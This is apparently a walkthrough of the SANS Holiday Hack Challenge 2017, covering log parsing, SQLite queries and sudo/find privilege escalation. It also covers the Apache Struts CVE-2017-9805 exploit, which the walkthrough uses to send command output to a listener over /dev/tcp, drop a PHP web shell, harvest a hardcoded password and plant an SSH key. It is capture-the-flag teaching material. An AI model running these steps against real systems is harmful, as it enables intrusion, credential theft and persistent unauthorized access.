The goal is to analyze a 'log file' and determine what the least popular browser.

#### Hints

Minty Candycane on Twitter has some hints

#### Approach

A directory listing shows that terminal contains a binary called 'runtoanswer', as well as fairly large 'access.log' file:

elf@784e43534178:~$ls -lh total 29M -rw-r--r-- 1 root root 24M Dec 4 17:11 access.log -rwxr-xr-x 1 root root 5.0M Dec 11 17:31 runtoanswer elf@784e43534178:~$ wc -l access.log
98655 access.log

elf@784e43534178:~$head -n1 access.log XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"  This log format should should seem familiar to sysadmins. The "Common Log Format" actually used to be called the "NCSA Common Log Format" when it was used by NCSA HTTPd in 1993 (before that became Apache). Please don't blame us for how bad this format is! The fact that a challenge is simply to parse this format should be indication enough that somewhere along the way, mistakes were made. Fields are separated by spaces. …except for the timestamp, which is wrapped in brackets. …and the request, which is the "method uri protocol." …and of course the user-agent. Some fields are hex-encoded, too! All we want is the user-agent strings, so we can split the log lines on the double quote char. #### Solution Our solution is to use the cut tool, along with sort and uniq to find the least popular browser. cut is very limited compared to tools like awk or sed, but it is often simpler to use. We just need to grab the right field. We can experiment on just the first line using head and figure this out using trial and error: elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 4
-
elf@784e43534178:~$head -n 1 access.log |cut -d '"' -f 5 elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 6
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)


The 6th field is the user agent. We also only want everything to the left of the first slash, so different versions of the same browser are merged:

elf@784e43534178:~$head -n 1 access.log |cut -d '"' -f 6|cut -d / -f 1 Mozilla  Now that the browser is isolated, we can switch head -n 1 with cat, and use the standard sort | uniq -c | sort -n to grab a frequency: elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d / -f 1|sort|uniq -c|sort -n|tail -n 5
33 slack
143 -
422 Slack-ImgProxy (+https:
97896 Mozilla


Oops. Mixed up the ordering, need the first 5, not the last 5:

elf@784e43534178:~$cat access.log |cut -d '"' -f 6|cut -d / -f 1|sort|uniq -c|sort -n|head -n 5 1 Dillo 2 (KHTML, like Gecko) Chrome 2 Slackbot-LinkExpanding 1.0 (+https: 2 Telesphoreo 2 Twitter  Looks like Justin's favorite lightweight browser from 2001 is not very popular these days. We can also confirm that the log file only has a single entry for this user-agent: elf@784e43534178:~$ grep Dillo access.log
XX.YY.54.139 - - [27/Nov/2017:19:41:49 -0500] "GET /invoker/JMXInvokerServlet HTTP/1.1" 301 185 "-" "Dillo/3.0.5"


#### Common Pitfalls

The most common issue appeared to be the result of not normalizing the different browser versions. If you count each VERSION of a browser as a separate program, you will get a result like:

elf@784e43534178:~$cat access.log |cut -d '"' -f 6|sort|uniq -c|sort -n|head -n 5 1 Dillo/3.0.5 1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) 1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko  or like: elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d ' ' -f 1|sort|uniq  -c|sort -n
1 Dillo/3.0.5
1 curl/7.35.0


### I Don't Think We're In Kansas Anymore

#### Question

                       *
.~'
O'~..
~'O'~..
~'O'~..~'
O'~..~'O'~.
.~'O'~..~'O'~
..~'O'~..~'O'~.
.~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..
~'O'~..~'O'~..~'O'~..
~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~.
.~'O'~..~'O'~..~'O'~..~'O'~
..~'O'~..~'O'~..~'O'~..~'O'~.
.~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..
~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..
~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
.~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~
..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
.~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..

Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
Identify the song whose popularity is the best.


#### How to find the terminal

This one's tricky. You can strip out the poppies in your browser, and then the terminal can easily be seen on the left side.

#### Background Information

When we login, we see we have two files of interest in our current directory: christmassongs.db and runtoanswer.

If we try running runtoanswer, we see:

elf@784e43534178:~$./runtoanswer Starting up, please wait...... Enter the name of the song with the most likes:  The SANS Pen-Test Blog had a post about essential SQL commands, which might be useful: Your Pokemon Guide for Essential SQL Pen Test Commands https://pen-testing.sans.org/blog/2017/12/09/your-pokemon-guide-for-essential-sql-pen-test-commands #### Goal Determine which song in christmassongs.db has the most likes. #### Hints Sugarplum Mary on Twitter has a hint: #### Approach Let's see exactly what this "db" file is: elf@784e43534178:~$ less christmassongs.db
elf@784e43534178:~$more christmassongs.db SQLite format 3 ...  sqlite! Ok! Let's start up sqlite and change some output options elf@784e43534178:~$ sqlite3 christmassongs.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .mode tabs


Now, let's see what we are working with here.

sqlite> .schema
CREATE TABLE songs(
id INTEGER PRIMARY KEY AUTOINCREMENT,
title TEXT,
artist TEXT,
year TEXT,
notes TEXT
);
CREATE TABLE likes(
id INTEGER PRIMARY KEY AUTOINCREMENT,
like INTEGER,
datetime INTEGER,
songid INTEGER,
FOREIGN KEY(songid) REFERENCES songs(id)
);


As a sanity check, let's see what one record of each looks like.

sqlite> select * from songs limit 1;

id title artist year notes
1 A' Soalin' Peter, Paul & Mary 1963 From the album Moving. Written by Paul Stookey, Tracy Batteste & Elaina Mezzetti.
sqlite> select * from likes limit 1;

id like datetime songid
1 1 1487102189 250

Two tables, "songs", and "likes". likes.songid matches up with songs.id. This means we can join the two tables together on songs.id=likes.songid. Once that is done, the solution requires the count of likes grouped by title:

sqlite> select title, count(*) from songs, likes where songs.id=likes.songid group by title order by count(*) desc limit 3;

title count(*)
Stairway to Heaven 11325
Joy to the World 2162
The Little Boy that Santa Claus Forgot 2140

A one-liner is:

elf@784e43534178:~$sqlite3 christmassongs.db "select title from songs, likes where songs.id=likes.songid group by title order by count(*) desc limit 1;" Stairway to Heaven  #### Alternatives Instead of joining the tables, we can first find what the most popular songid is: sqlite> select songid, count(*) from likes group by songid order by count(*) desc limit 3;  songid count(*) 392 11325 245 2162 265 2140 and then look up what the title for that song is sqlite> select title from songs where id=392;  title Stairway to Heaven This can also be done in a single query as long as we don't care about the like count: sqlite> select title from songs where id = (select songid from likes group by songid order by count(*) desc limit 1);   Stairway to Heaven This method even outperforms the join, taking about half the time to run! This is because the join has to examine all of the song titles, but the subquery method only has to look at one. ### Oh Wait Maybe We Are #### Question  -->*<-- /o\ /_\_\ /_/_0_\ /_o_\_\_\ /_/_/_/_/o\ /@\_\_\@\_\_\ /_/_/O/_/_/_/_\ /_\_\_\_\_\o\_\_\ /_/0/_/_/_0_/_/@/_\ /_\_\_\_\_\_\_\_\_\_\ /_/o/_/_/@/_/_/o/_/0/_\ jgs [___] My name is Shinny Upatree, and I've made a big mistake. I fear it's worse than the time I served everyone bad hake. I've deleted an important file, which suppressed my server access. I can offer you a gift, if you can fix my ill-fated redress. Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge. Hint: What commands can you run with sudo?  #### How to find the terminal #### Background Information We're logged in as the user elf. We happen to know that /etc/shadow is where *NIX systems store the password hashes for their users. The system MOTD gives us a hint: What commands can you run with sudo? We also know that sudo is a program that allows us to run commands with the privileges of other users and/or groups. #### Goal We need to overwrite /etc/shadow with /etc/shadow.bak. Basically we need to cp /etc/shadow.bak /etc/shadow, except that we don't have permissions to do that directly: elf@784e43534178:~$ cp /etc/shadow.bak /etc/shadow
cp: cannot create regular file '/etc/shadow': Permission denied


#### Hints

Shinny Upatree on Twitter has a few hints:

#### Approach

If we follow the hint, we should try to figure out what commands we can run with sudo. Let's run sudo -h to view the help documentation:

sudo - execute a command as another user
...
-l, --list                  list user's privileges or check a specific command; use twice for longer format
...


To follow the hint, we should run sudo with the --list option, to see what our privileges are:

elf@784e43534178:~$sudo --list Matching Defaults entries for elf on 784e43534178: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User elf may run the following commands on 784e43534178: (elf : shadow) NOPASSWD: /usr/bin/find  We can run the find command, but it also mentions something about shadow. Let's give it a shot: elf@784e43534178:~$ sudo find


We don't know the password. The sudo output said we should be able to run this without a password ("NOPASSWD"). Something's not quite right. We can run sudo with -l -l as the help output said to get some more verbose output:

elf@784e43534178:~$sudo -l -l Matching Defaults entries for elf on 784e43534178: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User elf may run the following commands on 784e43534178: Sudoers entry: RunAsUsers: elf RunAsGroups: shadow Options: !authenticate Commands: /usr/bin/find  Ok. So sudo lets us run the find command as the user elf, and the group shadow. Viewing sudo -h one more time shows us that there's an option we want to set our group to shadow: -g, --group=group run command as the specified group name or ID  elf@784e43534178:~$ sudo -g shadow find
.
./.bashrc
./.bash_logout
./.profile


This time, sudo let us run find without prompting us for a password. So, we know that we can run commands as the elf user, and the shadow group. Is this enough to overwrite /etc/shadow?

elf@784e43534178:~$ls -l /etc/shadow -rw-rw---- 1 root shadow 0 Dec 15 20:00 /etc/shadow  Yes. /etc/shadow is owned by the root user and the shadow group, and the group has write permissions to it. At this point, the only thing that's left is figuring out how to use find in order to copy /etc/shadow.bak to /etc/shadow. find has an exec option: actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print -fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ; -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;  Let's give it a shot: elf@784e43534178:~$ sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow \;


Looks like that worked:

elf@784e43534178:~$inspect_da_box ___ / __'. .-"""-. .-""-| | '.'. / .---. \ / .--. \ \___\ \/ /____| | / / \ -.-;-(_)_____.-'._ ; ; .-" "-:_,(o:==..-. '. .-"-, | | / \ / \ . \ / .-. \ \ \ | Y __...\ \ \ / / \/ /\ | | | .--""--.| .-' \ '.---' / \ \ / / | \' _...--.; '---' \ '-' / jgs /_..---.._ \ .'\\_ . --' .' (_) '/ (_) / ._ _.'| .'  '-...--' /etc/shadow has been successfully restored!  #### Solution A one-liner is: sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow \; && inspect_da_box  #### Alternatives Instead of using find to directly copy the file, we can just use it to start an elevated shell: elf@784e43534178:~$ id
uid=1000(elf) gid=1000(elf) groups=1000(elf)
elf@784e43534178:~$sudo -g shadow find -exec bash \; ... elf@784e43534178:~$ id


This shows how we can use sudo and find as a general privilege escalation mechanism.

Another way of doing this is by putting in a modified shadow file instead, which will have a password that we know for the root user.

First, let's generate the password hash in the right format:

elf@784e43534178:~$echo "password" | openssl passwd -1 -stdin$1$wDLzsvsW$0.aZ24yCO8xhhjnfHUIG3/


Now that we have a hash, we'll use sed to modify the /etc/shadow.bak file to have that as the password for root. Remember to be careful in escaping special characters in the sed command line.

elf@784e43534178:~$sed -e 's/root:\*/root:$1$wDLzsvsW$0.aZ24yCO8xhhjnfHUIG3/' /etc/shadow.bak | tee better.shadow
root:$1$WPvxfOOK$JqDBD/DPQlpkUBOC3qTp51:17484:0:99999:7::: daemon:*:17484:0:99999:7::: bin:*:17484:0:99999:7::: sys:*:17484:0:99999:7::: sync:*:17484:0:99999:7::: games:*:17484:0:99999:7::: ...  Now, we re-run our find command, and find that we can escalate to root with a password of password: elf@784e43534178:~$ sudo -g shadow find -exec cp better.shadow /etc/shadow \;
elf@784e43534178:~$su Password: root@784e43534178:/home/elf# id uid=0(root) gid=0(root) groups=0(root)  #### Common Pitfalls find's exec syntax is a little weird, and a common mistake is forgetting to escape the semicolon at the end: elf@784e43534178:~$ sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow ;
find: missing argument to -exec'


Another issue is just the fact that sudo is often set up for user permissions, and not group permissions, so the -g flag is less well known.

### We're Off To See The

#### Question


.--._.--.--.__.--.--.__.--.--.__.--.--._.--.
_(_      _Y_      _Y_      _Y_      _Y_      _)_
[___]    [___]    [___]    [___]    [___]    [___]
/:' \    /:' \    /:' \    /:' \    /:' \    /:' \
|::   |  |::   |  |::   |  |::   |  |::   |  |::   |
\::.  /  \::.  /  \::.  /  \::.  /  \::.  /  \::.  /
jgs  \::./    \::./    \::./    \::./    \::./    \::./
'='      '='      '='      '='      '='      '='

Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.


#### Background Information

We are logged in as the user elf.

The MOTD tells us:

Run the given binary, make it return 42. Use the partial source for hints, it is just a clue. You will need to write your own code, but only a line or two.

Two files are provided

-rwxr-xr-x 1 root root 84824 Dec 16 16:47 isit42
-rw-r--r-- 1 root root   654 Dec 15 19:59 isit42.c.un


#### Goal

For this challenge we need to write our own code in order to make the provided binary isit42 return 42.

#### Hints

This blog post, Go To The Head Of The Class: LD_PRELOAD For The Win, by Jeff McJunkin was useful.

#### Approach

In this case looking at the source code we can identify the exact code that is being used to randomize the program:

int getrand() {
srand((unsigned int)time(NULL));
printf("Calling rand() to select a random number.\n");
// The prototype for rand is: int rand(void);
return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
}


If we create our own library file to define rand() we can remove the randomness.

#### Solution

As mentioned in the hints section above, we can use Jeff McJunkin's blog post for guidance on how to complete this challenge.

First we'll need to create our own library. We can call it rand.c.

int rand(unsigned int *seed) {
return 42;
}


Then we compile it using the suggested flags in the article.

elf@784e43534178:~$gcc -o rand -ldl -shared -fPIC rand.c  Once compiled we can then use LD_PRELOAD to load our library. elf@784e43534178:~$ LD_PRELOAD=pwd/rand ./isit42
Starting up ... done.
Calling rand() to select a random number.
.-.
.;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______
/::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
/::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
|\/\:_/\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_
,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
\,////""""\\\\,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
| )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|
\/|(_) () (_)|\/
\   '()'   /            ______    _______  _______  ___      ___      __   __    ___   _______
_:.______.;_           |    _ |  |       ||   _   ||   |    |   |    |  | |  |  |   | |       |
/| | /\/\ | |\         |   | ||  |    ___||  |_|  ||   |    |   |    |  |_|  |  |   | |  _____|
/ | | \_/\_/ | | \        |   |_||_ |   |___ |       ||   |    |   |    |       |  |   | | |_____
/  |o""""""""o|  \       |    __  ||    ___||       ||   |___ |   |___ |_     _|  |   | |_____  |
.__/     ()     \__.'      |   |  | ||   |___ |   _   ||       ||       |  |   |    |   |  _____| |
|  | ___      ___ |  |      |___|  |_||_______||__| |__||_______||_______|  |___|    |___| |_______|
/  \|---|    |---|/  \
|  (|42 | () | DA|)  |       _   ___  _______
\  /;---'    '---;\  /      | | |   ||       |
 \ ___ /\ ___ /        | |_|   ||____   |
|  |  |  |           |       | ____|  |
jgs    |  |  |  |            |___    || ______| ___
_._  |\|\/||\/|/|  _._          |   || |_____ |   |
/ .-\ |~~~~||~~~~| /-. \         |___||_______||___|
| \__.'    ||    '.__/ |
---------''---------
Congratulations! You've won, and have successfully completed this challenge.


#### Alternatives

Another option is to just brute force it. The sample code shows that the program is using

return rand() % 4096; // returns a pseudo-random integer between 0 and 4096


This means we should only need to run the program a few thousand times for the result to be 42. However, if we try to run the program too quickly, we notice we get the same output each time:

elf@784e43534178:~$./isit42 & ./isit42 & [1] 31 [2] 32 elf@784e43534178:~$ Starting up ... Starting up ... done.
Calling rand() to select a random number.
done.
Calling rand() to select a random number.
945 is not 42.
945 is not 42.
[1]-  Exit 177                ./isit42
[2]+  Exit 177                ./isit42


This is because the program uses the current timestamp in seconds as a random seed. Running the program more than once a second will not help us.

If we run this:

elf@784e43534178:~$while true;do ./isit42 ; done  We will get a different answer every time, but since the program contains a sleep(3) that will only run one attempt every 3 seconds instead of one attempt per second. To fix this, we can run each attempt in the background using &, sleeping 1 second between attempts: elf@784e43534178:~$ while true;do ./isit42 &sleep 1;done


After a short wait, it succeeds:

Calling rand() to select a random number.
[860]   Exit 37                 ./isit42
[865] 1869
Starting up ... 3566 is not 42.
done.
Calling rand() to select a random number.
[861]   Exit 199                ./isit42
[866] 1871
Starting up ...                  .-.
.;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______
/::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
/::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
|\/\:_/\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_
,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
\,////""""\\\\,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
| )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|


#### Question

Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

#### Solution

This question simply requires playing the Winter Wonder Landing game level, and redirecting the snowball to collect the first Great Book page, GreatBookPage1.pdf.

This challenge was primarily to get players introduced to the game aspect of the Holiday Hack, and to give us a sample of the book pages that we'll be looking for.

### L2S: Letters to Santa

#### Question

Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com/. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?

For hints associated with this challenge, Sparkle Redberry in the Winconceivable: The Cliffs of Winsanity Level can provide some tips.

#### Background Information

We know that there is an application on https://l2s.northpolechristmastown.com that we need to investigate. This webpage is publically accessible from the Internet and not appear to require any special measures to access it. We do not know Alabaster password or username at the start of this challenge nor what type of web service is running on the host.

The following hints were provided by Sparkle Redberry from completing the level Winconceivable: The Cliffs of Winsanity:

We're excited to debut the new Letters to Santa site this year. Alabaster worked hard on that project for over a year. I got to work with the development version of the site early on in the project lifecycle.

Near the end of the development we had to rush a few things to get the new site moved to production. Some development content on the letter page should probably have been removed, but ended up marked as hidden to avoid added change control paperwork.

Alabaster's primary backend experience is with Apache Struts. I love Apache and have a local instance set up on my home computer with a web shell. Web shells are great as a backdoor for me to access my system remotely. I just choose a really long complex file name so that no one else knows how to access it.

A simple web shell is to create a PHP file in the web root with <?php echo "<pre>" . shell_exec($_GET['e']) . "</pre>"; ?>. Then, I visit the URL with my commands. For example, http://server/complexFileName.php?e=ls. There are lots of different web shell tools available. You can get a simple PHP web shell that is easy to use here. That business with Equal-Facts Inc was really unfortunate. I understand there are a lot of different exploits available for those vulnerable systems. Fortunately, Alabaster said he tested for CVE-2017-5638 and it was NOT vulnerable. Hope he checked the others too. Apache Struts uses XML. I always had problems making proper XML formatting because of special characters. I either had to encode my data or escape the characters properly so the XML wouldn't break. I actually just checked and there are lots of different exploits out there for vulnerable systems. Here is a useful article. Pro developer tip: Sometimes developers hard code credentials into their development files. Never do this, or at least make sure you take them out before publishing them or putting them into production. You also should avoid reusing credentials for different services, even on the same system. The following SANS Pentest Blog posts were also very helpful for this challenge: • A Spot of Tee bash shell, and bypassing the I/O restriction with tee #### Goal There are two goals for this challenge. The first is to determine the topic of the Great Book Page that is sitting on the web root of this server. The second is to determine what Alabaster's password is. #### Approach According to the second hint there might be development code left in the production code. If we look at the source of l2s the following code pops out. <!-- Development version --> <a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>  Let's do some recon on the hosts: $ nmap -sC l2s.northpolechristmastown.com

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-03 15:36 CST
Nmap scan report for l2s.northpolechristmastown.com (35.185.84.51)
Host is up (0.027s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open   http
|_http-title: Did not follow redirect to https://l2s.northpolechristmastown.com/
443/tcp  open   https
|_http-title: Toys List
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
3389/tcp closed ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 7.04 seconds


In addition to the hidden link for dev.northpolechristmastown.com, it is also present as an alternate name on the certificate of the host. Let's let nmap's scripts scan that as well.

$nmap -sC dev.northpolechristmastown.com Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-03 15:36 CST Nmap scan report for dev.northpolechristmastown.com (35.185.84.51) Host is up (0.028s latency). rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com Not shown: 996 filtered ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) |_ 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) 80/tcp open http |_http-title: Did not follow redirect to https://dev.northpolechristmastown.com/ 443/tcp open https | http-title: Toys List |_Requested resource was /orders.xhtml | ssl-cert: Subject: commonName=dev.northpolechristmastown.com | Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com | Not valid before: 2017-11-29T12:54:54 |_Not valid after: 2018-02-27T12:54:54 |_ssl-date: TLS randomness does not represent time | tls-nextprotoneg: |_ http/1.1 3389/tcp closed ms-wbt-server  We can see that dev and l2s are one and the same, which is important, since dev was not explicitly called out as being in scope. Visiting the dev page has a footer that simply states Powered By: Apache Struts. Let's use this to our advantage. Let's use the tool provided through the SANS Pentest blog, cve-2017-9805.py. The dev page we land on is https://dev.northpolechristmastown.com/orders.xhtml so we'll use that to start from. Let's check out the help: $ ./cve-2017-9805.py
usage: cve-2017-9805.py [-h] [-u URL] -c COMMAND

optional arguments:
-h, --help  show this help message and exit
-u URL      url of target vulnerable apache struts server. Ex-
http://somevulnstrutsserver.com/orders.xhtml
-c COMMAND  command to execute against the target. Ex - /usr/bin/whoami


The example URL is http://somevulnstrutsserver.com/orders.xhtml. How fortituous!

$python cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 'ls' [+] Encoding Command [+] Building XML object [+] Placing command in XML object [+] Converting Back to String [+] Making Post Request with our payload [+] Payload executed  Looks like we need to modify the program to let us see what it's doing by uncommenting the following line: print request.text  Rerunning our command now results in a lengthy Apache Tomcat error with no apparent output from our ls command. We're dealing with a blind injection so we'll need to figure out a different way to get the output of the command. One trick we can pull is redirecting output to a special pseudo device, /dev/tcp/$host/$port. We'll need to set up a listener on our end first: holiday@hack:~$ nc -l -p 8888


Now we run the exploit again:

./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "ls > /dev/tcp/1.2.3.4/8888"


The result on our end is:

holiday@hack:~$nc -l -p 8888 bin boot dev etc home ... vmlinuz vmlinuz.old  It looks like we've been dropped into the root directory. Let's look for where the web root is. Normally, the default is /var/www/html on most linux+apache based hosts. We'll try again with the command ls -al /var/www/html. total 1772 drwxrwxrwt 6 www-data www-data 4096 Jan 6 03:00 . drwxr-xr-x 3 root root 4096 Oct 12 14:35 .. drwxr-xr-x 2 root www-data 4096 Oct 12 19:03 css drwxr-xr-x 3 root www-data 4096 Oct 12 19:40 fonts -r--r--r-- 1 root www-data 1764298 Dec 4 20:25 GreatBookPage2.pdf drwxr-xr-x 2 root www-data 4096 Oct 12 19:14 imgs -rw-r--r-- 1 root www-data 14501 Nov 24 20:53 index.html drwxr-xr-x 2 root www-data 4096 Oct 12 19:11 js -rwx------ 1 www-data www-data 231 Oct 12 21:25 process.php  Oh look. There's GreatBookPage2.pdf. We can download it and find the answer to the first question. Let's assume for a minute that we didn't know where the web root was. Since page 1 of our Great Book was a PDF, it's a pretty safe bet that page 2 is also a PDF. It takes about half of a second to search the system for all PDFs using find: $ find / -name *.pdf
/var/www/html/GreatBookPage2.pdf

• Command Execution

It looks like we found our web root. Let's try out the web shell they suggest in the hints from Josh Wright easy-simple-php-webshell.php. We'll output it to a random file in the web root then we can try to use it to execute commands using a browser.

./cve-2017-9805.py -c "wget -O /var/www/html/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php
https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/be4b2c021b284f21418f55b9d4496cdd3b3c86d8/easy-simple-php-webshell.php"
-u https://dev.northpolechristmastown.com/orders.xhtml


Now we can access https://l2s.northpolechristmastown.com/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php and look around. If we do an ls in this webshell, it just returns the local directory, /var/www/html. Nothing in here suggests that we have the webroot for the dev server, https://dev.northpolechristmastown.com/.

Let's run find to see if we can find the password in our webshell.

find / -xdev -type f -user alabaster_snowball 2>/dev/null | xargs grep password


Within the page full of results we see this:

/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String password = "stream_unhappy_buy_loss";


A closer look at OrderMySql.class using cat /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class we find:

final String username = "alabaster_snowball";


We can use Alabaster's account to login to the l2s system, which we'll need to use to pivot to other systems.

#### Solution

• What is the topic of The Great Book page available in the web root of the server?

Leveraging the Apache Struts vulnerability, we can run ls on the common web root of /var/www/html, and get the filename of the page, then download it via the web server. Opening it up, we see that the topic is:

On the Topic of Flying Animals

• What is Alabaster Snowball’s password?

The trick here is just finding the right file, and the password is in cleartext in that file. We used find to grep all the files for "password".

stream_unhappy_buy_loss

#### Alternatives

One thing you can do if you don't have the password yet is actually add an SSH key to Alabaster's authorized keys file. This is problematic since you need to know that the username is actually alabaster_snowball first. Assuming you do, you can run the following command to add your key to the file.

The command we want to run is the following, taking care not to clobber any existing authorized keys:

cd /home/alabaster_snowball
# Make the .ssh directory, if it doesn't exist
mkdir .ssh
# ssh is very picky about permissions, so lock this down:
chmod 700 .ssh
cd .ssh

# Create the authorized_keys file, if it doesn't exist
touch authorized_keys
# ...and lock it down
chmod 600 authorized_keys

# Append our key
echo ssh-rsa VGhpcyBpcyBub3QgcmVhbGx5IGFuIFJTQSBrZXksIGJ1dCBoZXksIHdobyByZWFsbHkgbG9va3MgYXQgYmFzZTY0IGFueXdheQo= holiday@hack |
tee -a /home/alabaster_snowball/.ssh/authorized_keys


For running this via the Struts exploit, we want this all as a one-liner. Let's break this up into two parts: first, we'll create the necessary directory and file, and ensure the permissions are correct, then we'll add our key:

./cve_2017_9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c
'cd /home/alabaster_snowball; mkdir .ssh; chmod 700 .ssh; cd .ssh; touch authorized_keys; chmod 600 authorized_keys'
./cve_2017_9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c
'echo ssh-rsa VGhpcyBpcyBub3QgcmVhbGx5IGFuIFJTQSBrZXksIGJ1dCBoZXksIHdobyByZWFsbHkgbG9va3MgYXQgYmFzZTY0IGFueXdheQo= holiday@hack | tee -a /home/alabaster_snowball/.ssh/authorized_keys'


Then you can SSH in using your private key identity file.

holiday@hack:~$ssh -i /home/holiday/.ssh/sans_2017 alabaster_snowball@l2s.northpolechristmastown.com alabaster_snowball@l2s:/tmp/asnow.xq1pCkwT7LUy3iLl0AaBCc7D$ grep -A1 -R / -e alabaster_snowball
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String username = "alabaster_snowball";


Once in you are in a restricted shell but you can try to grep for Alabaster's password but a regular grep against the entire system will take about 1 minute then you have to parse through the results.

• Automate the webshell

We can automate dropping a webshell and creating a mini shell to query it. Assuming we have https://github.com/chrisjd20/cve-2017-9805.py in the same directory we can create a script to automate exploitation and give us a prompt to execute commands.

#!/usr/bin/env python
from __future__ import print_function

import base64
import requests
import sys

from cve_2017_9805 import main as struts_exploit

VULNERABLE_ENDPOINT = "https://dev.northpolechristmastown.com/orders.xhtml"
BASE_URL = "https://l2s.northpolechristmastown.com/"
